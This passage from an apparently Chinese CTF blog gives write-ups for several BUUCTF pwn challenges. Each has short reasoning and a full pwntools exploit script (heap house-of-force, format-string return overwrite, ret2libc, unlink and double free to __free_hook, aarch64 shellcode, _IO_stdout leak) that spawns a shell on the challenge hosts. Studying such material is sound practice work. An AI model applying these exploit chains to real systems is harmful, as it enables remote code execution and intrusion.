	p.sendlineafter(b'Input the new content:\n',content)
	
def free(idx):
	p.sendlineafter(b'option--->>',b'4')
	p.sendlineafter(b'Input the id:\n',str(idx))
def syn():
	p.sendlineafter(b'option--->>',b'5')
	
p.sendafter(b'Input your name:\n', b'a'*0x40)
p.recvuntil(b'a'*0x40)
heap_addr = u32(p.recv(4)) - 8

p.sendafter(b'Org:\n', b'a'*0x40)
p.sendafter(b'Host:\n', p32(0xffffffff) + b'a'*0x3c)
print(' heap_addr -> ', hex(heap_addr))
heap_array = 0x0804B120
top_chunk_addr = heap_addr + 0xd8
print(' top_chunk_addr-> ', hex(top_chunk_addr))

offset = heap_array - top_chunk_addr - 0x10
add(offset, b'')
add(0x20,b'\x00'*1)
add(0x20,b'\x00')
add(0x60, p32(heap_array)*2) #index 1
add(0x10, b'a') #index 2
add(0x10, b'a') #index 3
edit(1,p32(0x0804B120)*2+p32(elf.got["free"])+p32(0x804b128))
edit(2,p32(elf.sym["puts"]))
edit(1,b'a'*8+p32(elf.got["puts"])+p32(elf.got["atoi"])*2)
free(2)
libc_base=u32(p.recv(4))-libc.sym["puts"]
system=libc_base+libc.sym["system"]
print(hex(libc_base))
edit(3,p32(system))
p.interactive()

wustctf2020_babyfmt

思路:

格式字符串

可以看到参数a1也是位于栈上的,那么我们只需要在执行printf之前把a1给改掉即可无限调用printf了,然后再看这里

再劫持返回地址呢为fd=open("/flag",0),跳过close(1)即可获取flag了,不过貌似手搓rop链也行?反正难的是手搓,不是思路,直接贴exp了

Exp:

from pwn import *
from struct import pack
import base64
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25607)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()

#gdb.attach(p, 'b *$rebase(0xF13)')

p.recv()
for i in range(3):
p.sendline(b'1')

# leak pro_base
p.sendlineafter(b'>>', b'2')
p.sendline(b'%7$n%17$p')
p.recvuntil(b'0x')
pro_base = int(p.recv(12), 16) - 0x102c
print(' pro_base -> ', hex(pro_base))

# leak ret
p.sendlineafter(b'>>', b'2')
p.sendline(b'%7$n%16$p')
p.recvuntil(b'0x')
ret = int(p.recv(12), 16) - 0x28
print(' ret -> ', hex(ret))

# ret -> get_flag
p.sendlineafter(b'>>', b'2')
get_flag = pro_base + 0xf56
payload = b'%' + str(get_flag & 0xffff).encode() + b'c%10$hn'
payload = payload.ljust(0x10, b'a') + p64(ret)
p.sendline(payload)
p.recvuntil(b'flag')
print(p.recv())

gwctf_2019_easy_pwn

思路:

c++栈题目,这里会把输入的替换为pretty,从而栈溢出构建ROP链。

然后就是简单的ret2libc了。没啥好说的

Exp:

from pwn import *
p=remote("node5.buuoj.cn",26276)
#p=process("./pwn")
elf=ELF("./pwn")
#libc=ELF("libc6-x32_2.26-0ubuntu2_i386.so")
libc=ELF("/home/giant/Desktop/buuctf5/libc-2.23_16-32.so")
def debug():
	gdb.attach(p)
	pause()
#gdb.attach(p,'b *0x0804925D')
p.recv()
p.send(b'I'*16+p32(elf.sym["puts"])+p32(0x08049091)+p32(elf.got["puts"]))
p.recv(116)

libc_base=u32(p.recv(4))-libc.sym["puts"]
system=libc.sym["system"]+libc_base
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
print(hex(libc_base))
p.recv()

p.send(b'I'*16+p32(system)+b'a'*4+p32(binsh))
p.recv()


p.interactive()

[OGeek2019 Final]OVM

思路:

OK,又是新题型,有点兴奋。这种题目一般就是通过代码来模拟自己的一套虚拟机程序

Exp:

ciscn_2019_es_4

思路:

菜单堆题,漏洞点在edit函数

存在offbynull漏洞,然后又由于程序没开pie,因此我们可以首先想到unlink。这里edit只能用两次,再看看add功能

可以看到在malloc成功后会打印堆地址,这里对malloc的size也有要求。free功能并无uaf。那么思路就很明了了,先造成unlink攻击,再通过修改堆控制信息来造成double free,最后实现任意地址改。就是如何实现duuble free攻击可能需要思考一下,其实还是一道很简单的堆题的。

ptr=0x602118    
for i in range(9):
    add(i,0xf8,b'aa'+b'\n')
heap_base=add(9,0xf8,b'/bin/sh\x00\n')
for i in range(7):
   free(i)
edit(7,p64(0)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+b'a'*0xd0+p64(0xf0))
free(8)

for i in range(7):
    add(i,0xf8,b'aa'+b'\n')
free(9)
edit(7,p64(0)*3+p64(0x602100)+p64(0)+p64(heap_base))
free(9)
add(10,0xf8,p64(0x6022B0))

最后就是打free_hook了,这都是老生常谈的了。直接放exp吧

Exp:

from pwn import *
from struct import pack
import base64
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote("node5.buuoj.cn",27319)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
#libc = ELF('/home/giant/Desktop/buuctf5/libc_2.27_18_64.so')
def debug():
	gdb.attach(p)
	pause()
def add(index, size, content):
	p.sendlineafter(b'4.show\n', '1')
	p.sendlineafter(b'index:\n', str(index))
	p.sendlineafter(b'size:\n', str(size))
	p.recvuntil(b'gift: ')
	heap_base=int(p.recv(7),16)
	p.sendafter(b'content:\n', content)
	return heap_base
def free(index):
	p.sendlineafter(b'4.show\n', '2')
	p.sendlineafter(b'index:\n', str(index))
def edit(index, content):
	p.sendlineafter(b'4.show\n', '3')
	p.sendlineafter(b'index:\n', str(index))
	p.sendafter(b'content:\n', content)
def show(index):
	p.sendlineafter(b'4.show\n', '4')
	p.sendlineafter(b'index:\n', str(index))
	
ptr=0x602118	
for i in range(9):
    add(i,0xf8,b'aa'+b'\n')
heap_base=add(9,0xf8,b'/bin/sh\x00\n')
for i in range(7):
   free(i)
edit(7,p64(0)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+b'a'*0xd0+p64(0xf0))
free(8)

for i in range(7):
    add(i,0xf8,b'aa'+b'\n')
free(9)
edit(7,p64(0)*3+p64(0x602100)+p64(0)+p64(heap_base))
free(9)
add(10,0xf8,p64(0x6022B0))
add(11,0xf8,b'a'*1)
add(12,0xf8,b'a'*0x30)
add(13,0xf8,b'a'*0x1)
show(13)

libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x61-448-0x10-libc.sym["__malloc_hook"]
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
print(hex(heap_base))
print(hex(libc_base))
edit(7,p64(0)*3+p64(free_hook))
edit(7,p64(system))
add(14,0xf8,b'/bin/sh\x00')
free(14)
p.interactive()
#add(10,0x88,b'a'*1)

shanghai2018_baby_arm

思路:

也是异架构题目,还给了链接器和libc文件,看起来貌似不是很容易的样子,我们先把pwn下载下来拖进最新版本的ida。看看伪代码

这里貌似有栈溢出,难道是retlibc?但是write这里只能输出5个字节。不过我的gdb-multiarch好像出来问题,运行还是可以运行的,不过就调试的时候非常奇怪。有时总会运行着就会跳转到莫名其妙的地方,而且我的vmmap就更离谱了

就有点逆天,如果拿这种去调试的话,写点ret2text的话还好,但是如果一些调试量比较大的题目根本无从下手。

Exp:

from pwn import *
from struct import pack
context(os = 'linux', arch = 'aarch64', log_level='debug')

#p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
p = remote('node5.buuoj.cn',28104)
#p=process("./pwn")
elf = ELF('./pwn')
libc=ELF("libc.so_2.6")
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
	gdb.attach(p)
	pause()

payload = p64(elf.plt['mprotect']) + asm(shellcraft.aarch64.sh())
p.sendlineafter(b'Name:', payload)

payload = b'a'*72 + p64(0x4008CC) + p64(0) + p64(0x4008AC) + p64(0) + p64(1) + p64(0x411068) + p64(7) + p64(0x1000) + p64(0x411070) + p64(0) + p64(0x411070)
p.sendline(payload)

p.interactive()

npuctf_2020_bad_guy

思路:

菜单堆题

有趣的是没有show函数,而且保护也是全开的。但是还是给我们留了一个堆溢出漏洞

但是次数也是有限的,根据count可以看出来。那么这题就只有通过修改_IO_stdout_2_1来实现泄露libc_base了,关于这个不太了解的话可以搜一下资料。

通过堆块堆叠来将main_arena+88移到fastbin里面,然后再通过edit修改main_arena的后四位为_IO_stdout_附近的一个满足条件的值,可以去gdb里面找,一般在上面0x30左右有可以的地址来伪造size。

add(0,0x18,b'a'*8)
add(1,0x18,b'a'*8)
add(2,0x68,b'a'*8)
add(3,0x18,b'a'*8)

free(2)
edit(0,b'a'*0x18+p64(0x91))
free(1)

add(3,0x18,b'a'*8)

edit(3,b'a'*0x18+p64(0x71)+p8(0xdd)+p8(0x55))

然后就是修改IO_stdout结构体里面的内容了,把_IO_write_base适当修改即可打印出IO_stdout附近的内容,具体改成什么取决于你的机器,不过大概率需要爆破一位,所以只有1/16的成功率,不过本地的成功率却高得出奇,可能是本地没有那么随机化吧。

add(4,0x68,b'a'*8)
add(5,0x68,b'a'*0x30)

edit(5,b'b'*0x3+b'\x00'*0x30+p64(0xfbad1880)+p64(0)*3+b'\x88')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["_IO_2_1_stdin_"]

然后后面就是常规的打malloc_hook了,这没什么好说的,记得打之前修复一下unsorted bin,需要注意的是我说的修复可不是填充main_arena+88到unsorted bin里面,然后就是one_gagget去getshell了

Exp:

from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",27831)
elf=ELF("./pwn")
libc=ELF("/home/giant/Desktop/buuctf5/libc-2.23_16_64.so")
def debug():
	gdb.attach(p)
	pause()

def add(idx,size,content):
	p.sendlineafter(b'>> ',b'1')
	p.sendlineafter(b'Index :',str(idx))
	p.sendlineafter(b'size: ',str(size))
	p.sendlineafter(b'Content:',content)

def edit(idx,content):
	p.sendlineafter(b'>> ',b'2')
	p.sendlineafter(b'Index :',str(idx))
	p.sendlineafter(b'size: ',str(len(content)))
	p.sendlineafter(b'content: ',content)
	
def free(idx):
	p.sendlineafter(b'>> ',b'3')
	p.sendlineafter(b'Index :',str(idx))
	
add(0,0x18,b'a'*8)
add(1,0x18,b'a'*8)
add(2,0x68,b'a'*8)
add(3,0x18,b'a'*8)

free(2)
edit(0,b'a'*0x18+p64(0x91))
free(1)

add(3,0x18,b'a'*8)
edit(3,b'a'*0x18+p64(0x71)+p8(0xdd)+p8(0x55))
add(4,0x68,b'a'*8)
add(5,0x68,b'a'*0x30)

edit(5,b'b'*0x3+b'\x00'*0x30+p64(0xfbad1880)+p64(0)*3+b'\x88')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["_IO_2_1_stdin_"]
malloc_hook=libc.sym["__malloc_hook"]+libc_base
main_arena=malloc_hook+88+0x10

free(4)
edit(3,b'b'*0x18+p64(0x71)+p64(malloc_hook-0x23)*2)


print(hex(libc_base))
ogg=libc_base+0xf1147

add(6,0x68,b'a'*0x30)
add(7,0x68,b'a'*0x13+p64(ogg))
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'Index :',b'8')
p.sendlineafter(b'size: ',b'20')
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值